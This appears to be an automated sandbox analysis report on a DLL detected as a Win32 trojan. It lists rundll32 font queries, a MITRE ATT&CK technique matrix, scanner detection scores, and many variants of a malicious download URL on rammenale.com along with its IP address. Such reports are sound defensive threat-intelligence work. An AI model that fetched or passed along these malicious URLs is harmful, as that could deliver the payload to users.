Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6CDF3270 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CDF3270

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	11 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	111 Process Injection	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
UiFttnkl2R.dll	42%	ReversingLabs	Win32.Trojan.Generic
UiFttnkl2R.dll	51%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
rammenale.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
http://www.microsoft.	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
https://rammenale.com/for2/zetaq.txtZ	100%	Avira URL Cloud	malware
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
https://rammenale.com/for2/zetaq.txtV	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txt	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq/ts/	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtC:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtL	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtK	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txt	2%	Virustotal		Browse
https://rammenale.com/for2/zetaq.txtsC:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtC:	2%	Virustotal		Browse
https://rammenale.com/for2/zetaq.txtG	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtP$	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtE	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtD	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtw	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtt	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtL	2%	Virustotal		Browse
https://rammenale.com/for2/zetaq.txt6634-1002	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtr	100%	Avira URL Cloud	malware
https://rammenale.com/u	0%	Avira URL Cloud	safe
https://rammenale.com/for2/zetaq	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtn	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtent-1002	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtc	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtI%	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtxt	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq	2%	Virustotal		Browse
https://rammenale.com/	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Avira URL Cloud	safe
https://rammenale.com/YSTEM32	0%	Avira URL Cloud	safe
http://microsoft.co	0%	Avira URL Cloud	safe
https://rammenale.com/for2/zetaq.txtxt	2%	Virustotal		Browse
https://rammenale.com/for2/zetaq.txtPf	100%	Avira URL Cloud	malware
https://rammenale.com/	4%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
http://en.wikipedia	0%	Avira URL Cloud	safe
https://rammenale.com/Data	0%	Avira URL Cloud	safe
https://rammenale.com/for2/zetaq.txt4U	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txt50	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtentndowsINetCookies;	100%	Avira URL Cloud	malware
http://microsoft.co	1%	Virustotal		Browse
https://rammenale.com/for2/zetaq.txt~	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtentu	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txt8	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txt4Y	100%	Avira URL Cloud	malware
https://rammenale.com/fo10280/zet2	0%	Avira URL Cloud	safe
https://rammenale.com/for2/zetaq.txt6	100%	Avira URL Cloud	malware
https://rammenale.com/8EEF8FF4BF719EAB539B52	0%	Avira URL Cloud	safe
https://rammenale.com/for2/zetaq.txt4	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtes	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaqtxt	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txt.	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txt4m	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txtent	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txt&	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaqonts/c	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txt#	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txt4er	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq.txt4q	100%	Avira URL Cloud	malware
https://rammenale.com/for2/zetaq/a	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
rammenale.com	131.153.206.231	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rammenale.com/for2/zetaq.txt	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
